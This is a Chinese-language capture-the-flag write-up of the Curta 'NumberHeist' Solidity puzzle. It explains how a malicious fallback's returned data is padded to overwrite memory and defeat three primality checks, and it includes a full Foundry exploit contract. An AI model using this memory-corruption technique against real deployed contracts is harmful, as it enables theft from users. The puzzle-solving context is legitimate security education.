# Curta NumberHeist Writeup （中文版）
## 介绍
题目：https://www.curta.wtf/puzzle/base:9
大意：通过设计一个合数去绕过三层素数的校验。
## 分析
1. heist是唯一入口，
2. 有三个关键函数坐素数校验：_checkWilsons，_isPrimeByCircleCutting 和 _filsonsCompositenessCheck。
3. 虽然表面看起来三层素数校验是独立的，但是真正能影响攻击的地方在于checkWilsons时fallback的calldata传入_initializePuzzle
#### _initializePuzzle
下面是Puzzle初始化的函数，这里需要留意的地方是，他把数组放在0x760 上。
```solidity
function _initializePuzzle() internal pure returns (bytes memory magicTome) {
// What could this be?
assembly {
magicTome := 0x760
let tomePtr := add(magicTome, 0x20)
let tomeSize := 0x100
....
}
}
```
使用foundry可以发现：执行完initizePuzzle之后，这里会跳过很多空间，直接在0x760存入数组数据。这里是一个很奇怪的地方，因为合约的空间是线性存储的，很少人会直接跳过0x80，直接在0x760申请内存，这里大概率有猫腻。
#### _checkWilsons
这个方法的目的是使用wilsons方法来校验素数。Wilsons的定义如下：
> 如果p是一个素数，那么(p-1)! + 1能够被p整除，即(p-1)! ≡ -1 (mod p)。
因为我们可以通过fallback直接返回恶意的calldata，所以，可以利用calldata绕过，素数校验其实并不复杂，因为这里是希望你实现p-1的阶乘，我们可以在这里动手脚，轻松绕过素数校验。
```solidity
(bool success, bytes memory data) = msg.sender.call();
require(success);
assembly {
mstore(0x40, 0x360)
}
bytes[3] memory precomputedFactorials = abi.decode(data, (bytes[3]));
```
但比较头疼的是146行的校验
```solidity
require(keccak256(abi.encodePacked(precomputedFactorials[0], precomputedFactorials[1], precomputedFactorials[2])) == VALID_FACTORIALS_HASH, "Not Valid Factorials");
```
146行也对恶意合约做了一些“防护”，通过hash校验的方式来防止恶意calldata。
#### _isPrimeByCircleCutting
这里是比较复杂的地方，因为是在用0x760 的数组数据进行素数检测，关键在于_evaluateCyclotomic 函数，如果是按照原来cyclotomic的设计，当i == 63的时候，最后必然会得到非0值。导致无法绕过，
这里有一个思路：**覆盖内存，使得当i == 63的时候，bit == 0。或者覆盖内存使得全部bit == 0。**
```solidity=
function _evaluateCyclotomic(bytes8 cyclotomic, uint256 x) internal returns (int256 res) {
for (uint256 i = 63; i > 1; i-=2) {
uint8 cycloByte = uint8(cyclotomic[i / 8]);
uint adjustment = (7 - (i % 8));
uint8 sign = uint8(cycloByte & (1 << (adjustment + 1)));
uint8 bit = uint8(cycloByte & (1 << adjustment));
if (bit != 0) {
int256 val = int256(x**((63-i)/2));
console2.log("val ", val);
console2.log("i : ", i);
if (sign != 0) {
res -= val;
} else if (sign == 0){
res += val;
} else {
revert("Invalid sign");
}
}
}
}
```
#### _filsonsCompositenessCheck
这里是比较简单了，显然的素数代码有问题，n = 4 时就是true，会直接绕过检查。
## 攻击
首先我们需要构造满足校验hash的calldata，代码的提示比较清楚了，三个数组分别是4 byte, 8 byte, 16 byte的长度，分别对应[0,12], [13,20],[21,31]的阶乘。
```solidity
// Three entries: [ x! ∀ x <= 12, x! ∀ 12 < x <= 20, x! ∀ 20 < x <= 31 ]
// First entry factorials fit into 4 byte denominations
// Second entry factorials fit into 8 byte denominations
// Third entry factorials fit into 16 byte denominations
```
所以我们需要提前构造这几个阶乘的来满足hash，下面提供一下python代码
```python=
import math
def get_hex_arrays():
hex0, hex1, hex2 = '', '', ''
for i in range(0, 32):
factorial = math.factorial(i)
if i < 13:
hex0 += '{:016x}'.format(factorial)
elif 12 < i and i < 21:
hex1 += '{:024x}'.format(factorial)
else:
hex2 += '{:032x}'.format(factorial)
print('hex0', hex0)
print('hex1', hex1)
print('hex2', hex2)
get_hex_arrays()
```
通过python代码，我们可以得到：
```solidity=
precomputedFactorials[0] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc00";
precomputedFactorials[1] = hex"00000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b40000";
precomputedFactorials[2] = hex"0000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";
```
这三个数组进行encodePacked，是可以满足校验的。为了进一步攻击，
```solidity=
if lt(n, 14) {
let factorialsStart := add(f0, 0x08)
let factorialSpot := mload(add(factorialsStart, mul(sub(n, 1), 0x08)))
nMinusOneFactorial := and(factorialSpot, 0xFFFFFFFFFFFFFFFF)
}
```
我们可以留意到，其实当n < 14的时候，nMinusOneFactorial会取得0x08 + (n-1)*0x08的值，当n == 4时，nMinusOneFactorial是0x20，刚好是32位。这里，可以通过巧妙地压缩calldata，使得第一个数组为空，那么操控nMinusOneFactorial刚好得到第二个数组的bytes长度，从而绕过检查。
```solidity=
bytes[4] memory factorialData;
factorialData[0] = hex"";
factorialData[1] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc0000000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b400";
factorialData[2] = hex"000000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";
```
factorialData[1]的长度刚好是199，（199 + 1） % 4 轻松绕过检查。目前，仅剩0x760数组的这个还没解决。根据上面的分析，0x760的内存是有猫腻的，刚好我们返回的data是放在memory的，我们其实是可以通过恶意构造calldata，使得当存data的时候，覆盖掉`0x760`后的`0x100`的长度，这样bit就能全是0了。效果如下：
应该怎么做呢？
我们首先需要精确得到data从fallback返回时放在哪个memory的地址上的，这个可以通过forge debug 看到，是在`0xc0`上开始的。现在的问题是`0xc0`开始要加多少可以覆盖内存，从forge debug可以看到是需要在`0xc0 + 0x280 = 0x340` 开始覆盖内存。我们需要`0x760 - 0x340 = 0x420` 来填充空间 ，使得指针刚好指向`0x760`。因为题目要求magicTome 必须是`0x100`长度，所以，我们需要申请`0x520`的内存长度，使得可以刚好覆盖。
```solidity=
fallback(bytes calldata input) external returns (bytes memory data){
bytes[4] memory factorialData;
factorialData[0] = hex"";
factorialData[1] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc0000000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b400";
factorialData[2] = hex"000000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";
bytes memory extraData = new bytes(0x520);
....
}
```
最后还差一步，就是在`0x760`的位置写入长度`0x100`。
```solidity=
fallback(bytes calldata input) external returns (bytes memory data){
bytes[4] memory factorialData;
factorialData[0] = hex"";
factorialData[1] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc0000000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b400";
factorialData[2] = hex"000000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";
bytes memory extraData = new bytes(0x520);
assembly {
mstore(add(add(extraData, 0x20), 0x400), 0x0100)
}
factorialData[3] = extraData;
data = abi.encode(factorialData);
}
```
最后通过传入heist(4,0,2,2)就可以绕过全部校验了。
代码
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script} from "forge-std/Script.sol";
import {Test, console2} from "forge-std/Test.sol";
import "@curta/NumberHeist.sol";
interface ICurta {
function solve(uint32, uint256) external;
}
contract NumberHeistTesting is Test {
bytes32 constant VALID_FACTORIALS_HASH = 0x024260b3e934c04b47e60ebbf3a5974c8008d1494ac24bfb1358daf47e752953;
uint256 constant public SOLUTION = 0x8fbcb4375b910093bcf636b6b2f26b26eda2a29ef5a8ee7de44b5743c3bf9a28;
// forge test -C NumberHeistTesting -vvvv
// function test0() public {
// // vm.createSelectFork(vm.envString("ETH_RPC_URL"));
// NumberHeist p = new NumberHeist();
// uint256 start = p.generate(address(this));
// console2.log(start);
// bytes[3] memory precomputedFactorials;
// precomputedFactorials[0] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc00";
// precomputedFactorials[1] = hex"00000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b40000";
// precomputedFactorials[2] = hex"0000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";
// console2.logBytes(abi.encodePacked(precomputedFactorials[0], precomputedFactorials[1], precomputedFactorials[2]));
// require(keccak256(abi.encodePacked(precomputedFactorials[0], precomputedFactorials[1], precomputedFactorials[2])) == VALID_FACTORIALS_HASH, "Not Valid Factorials");
// }
function run(address challenge) public {
NumberHeist heist = new NumberHeist();
heist.heist(4, 0, 2, 2);
ICurta(0x00000000D1329c5cd5386091066d49112e590969).solve(9, SOLUTION);
}
function test_attackHeist() public {
NumberHeist p = new NumberHeist();
uint256 start = p.generate(address(this));
p.heist(
4,
0,
2,
2
);
}
fallback(bytes calldata input) external returns (bytes memory data){
bytes[4] memory factorialData;
factorialData[0] = hex"";
factorialData[1] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc0000000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b400";
factorialData[2] = hex"000000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";
bytes memory extraData = new bytes(0x520);
assembly {
mstore(add(add(extraData, 0x20), 0x400), 0x0100)
}
factorialData[3] = extraData;
data = abi.encode(factorialData);
}
}
contract NumberHeistDebug is Script {
function run() public {
// uint256 privateKey = vm.envUint("private");
// vm.startBroadcast(privateKey);
// vm.createSelectFork(vm.envString("ETH_RPC_URL"));
address challenge = 0x5029000a811A7Cb5Ad9333F8f5d08b3Fb96F6386;
NumberHeistTesting exp = new NumberHeistTesting();
exp.run(challenge);
}
}
```
Sign in with Wallet
Connect another wallet